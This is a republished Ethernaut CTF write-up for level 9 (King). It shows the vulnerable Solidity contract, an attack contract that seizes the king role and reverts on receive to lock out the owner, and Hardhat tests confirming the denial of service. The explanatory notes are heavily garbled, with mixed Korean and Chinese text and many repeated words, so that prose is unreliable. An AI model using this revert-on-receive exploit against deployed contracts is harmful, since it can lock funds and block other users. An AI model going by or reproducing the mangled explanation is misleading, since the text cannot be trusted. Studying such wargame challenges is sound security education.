Ethernaut系列-레벨 9(킹)
레벨 9(왕):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
通关要求
1.夺取王
2.阻止owner夺回왕
要点
1. 合约的 storage都是可以见的,包含private
2. 会 是 调用 调用 报错 报错 报错 报错 (例如 가스 不 够/수신 故意 리버스 뇨 추, 这样 会 会 阻止 后续 的 业务 业务 业务 业务 用 用 用 用 再 再 再 判断 返回 结果, 不过 这个 也 也 不 是 最 好 方案 方案 方案 方案 方案 方案 如果 如果 失败 了 了 用户 用户 用户 用户 用户 用户 是如何再取回退款?
所以 所以 好 好 方案 是 是 是 是 是 是 其他 其他 业务 里 里 直接 直接 退 退 退 退 退 退 退 退 退 退 退 打可 退款 标识 之类 之类 之类 之类 之类 再 提供 一 一 一 个 根据 标识 领取 退款 的 对 外 方法 方法 方法 当然 记得 退完 退完 退完 要 要 更新 已 标识 标识 뇨 뇨음
解题思路
1.查看상后直接转账
계약/09KingRun.sol
function run(address _levelAddress) external payable{
//transfer会失败,2300gas限制了
(bool result,) = payable(_levelAddress).call{value:msg.value}("");
if(!result) revert("call error");
}
//条件二:阻止转账(其实不实现这个方法也是阻止的)
receive() external payable {
revert("not receive");
}
테스트/09King.js
it("attacks", async function () {
await runContract.connect(player).run(levelContract.address, {
value: 1000000000000000 + 1,
});
});
it("check", async function () {
//检查通过条件
//1.king不再是levelOwner
//2.levelOwner无法通过转账取回King
expect(await levelContract._king()).to.equal(runContract.address);
let isException = false;
try {
await levelOwner.sendTransaction({
to: levelContract.address,
value: 1000,
});
} catch (e) {
isException = true;
//异常才是对的
}
expect(isException).to.equal(true);
expect(await levelContract._king()).to.not.equal(levelOwner.address);
});
Reference
이 문제에 관하여(Ethernaut系列-레벨 9(킹)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/bin2chen/ethernautxi-lie-level-9-king-d5o텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)